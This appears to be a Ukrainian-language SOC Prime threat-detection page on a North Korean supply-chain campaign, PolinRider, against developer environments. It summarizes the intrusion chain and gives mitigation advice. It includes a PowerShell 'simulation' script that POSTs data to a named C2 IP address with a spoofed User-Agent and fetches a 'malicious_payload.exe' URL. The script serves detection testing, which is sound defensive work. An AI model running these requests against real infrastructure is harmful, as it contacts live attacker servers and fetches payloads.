SOC Prime Bias: Critical

15 Sep 2026 14:55 UTC

Кампанія PolinRider Північної Кореї демонструє активність у ланцюгу постачання

Author Photo
SOC Prime Team linkedin icon Стежити
Кампанія PolinRider Північної Кореї демонструє активність у ланцюгу постачання
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Резюме

Загроза, пов’язана з Північною Кореєю, здійснила атаку на ланцюг постачання проти середовищ розробників, використовуючи троянські пакети Python. Ланцюжок вторгнень включав завантажувальний модуль Node.js, компонент JavaScript C2 та інформаційний викрадач на основі Python. Актор забезпечив стійкість, маскуючи шкідливі компоненти під легітимні служби оптимізації Microsoft .NET.

Розслідування

Розслідування відбувалося у високоточної оманливій середовищі, де моніторувався робочий стіл корпоративний-пастка протягом 167 годин. Аналітики фіксували діяльність у реальному часі, включаючи виконання шкідливих навантажень і підготовку даних. Зібрана телеметрія викрила повний ланцюг атак – від початкового компрометування через зловмисний репозиторій до ексфільтрації даних з хоста.

Пом’якшення

Організації повинні забезпечити суворе сканування залежностей у npm, PyPI та інших менеджерах пакетів. Фільтрація вихідного трафіку повинна блокувати HTTP-з’єднання з публічними IP-адресами через нестандартні порти. Захисники також повинні контролювати незвичайні механізми стійкості, включаючи заплановані завдання або записи в реєстрі, що імітують компоненти Microsoft .NET з шляхів системного профілю.

Реагування

Якщо виявлено шкідливу діяльність, команди безпеки повинні негайно ізолювати постраждале середовище розробки або збірки. Відповідаючи відгукувачі повинні шукати відомі IP-адреси C2 та підозрілі шаблони файлів, такі як SvcHostUpdate.py. Також слід провести судову перевірку нещодавно встановлених сторонніх залежностей, разом з аудитом системного профілю на наявність несанкціонованих MicrosoftCLROptimization артефактів.

Ланцюг атаки

Ми все ще оновлюємо цю частину.

Виконання симуляції

  • Опровідання атаки та команди: Противник прагне розвинути інфекцію, отримуючи другорядне навантаження та ексфільтруючи вкрадені дані конфігурації. Щоб імітувати PolinRider, зловмисник:

    1. Use curl or Invoke-WebRequest щоб отримати підставний файл з “сирого” URL GitLab.
    2. Виконати POST-запит до виявленої C2 IP (150.251.113.223:8443) з підробленим User-Agent, який відповідає rotating.*agent шаблону.
    3. Звернутися до dns.catbox.moe щоб імітувати вторинний пульс C2 або доставку навантаження. Ці дії розроблені, щоб викликати три різні критерії вибору в правилі Sigma.
  • Сценарій регресійного тестування:

     # Сценарій симуляції PolinRider
    
      Write-Host "[!] Початок симуляції мережі PolinRider..." -ForegroundColor Cyan
    
      # 1. Виклик вибору 2: Отримання з сирого GitLab
      Write-Host "[*] Виклик вибору 2: Отримання з сирого GitLab..."
      Invoke-WebRequest -Uri "https://gitlab.com/api/v4/raw/malicious_payload.exe" -Method Get -UserAgent "Mozilla/5.0"
    
      # 2. Виклик вибору 1: POST до C2 з обертовим User-Agent
      Write-Host "[*] Виклик вибору 1: POST до C2 з обертовим User-Agent..."
      $c2Url = "http://150.251.113.223:8443/upload"
      $fakeUA = "Mozilla/5.0 rotating-agent-v1.2"
      Invoke-WebRequest -Uri $c2Url -Method POST -UserAgent $fakeUA -Body "dummy_data"
    
      # 3. Виклик вибору 3: DNS/URL шаблон для catbox.moe
      Write-Host "[*] Виклик вибору 3: З'єднання з catbox.moe..."
      Invoke-WebRequest -Uri "https://dns.catbox.moe/check" -Method Get -UserAgent "Mozilla/5.0"
    
      Write-Host "[+] Симуляція завершена. Перевірте SIEM на наявність сповіщень." -ForegroundColor Green
  • Команди очищення:

     # Жодних постійних змін до системи не було внесено;
      # Мережеві з'єднання є ефемерними.
      # Жоден файл не було записано на диск під час цієї симуляції.
      Write-Host "[*] Очищення: жодні файли або ключі реєстру не було змінено. Симуляція чиста." -ForegroundColor Cyan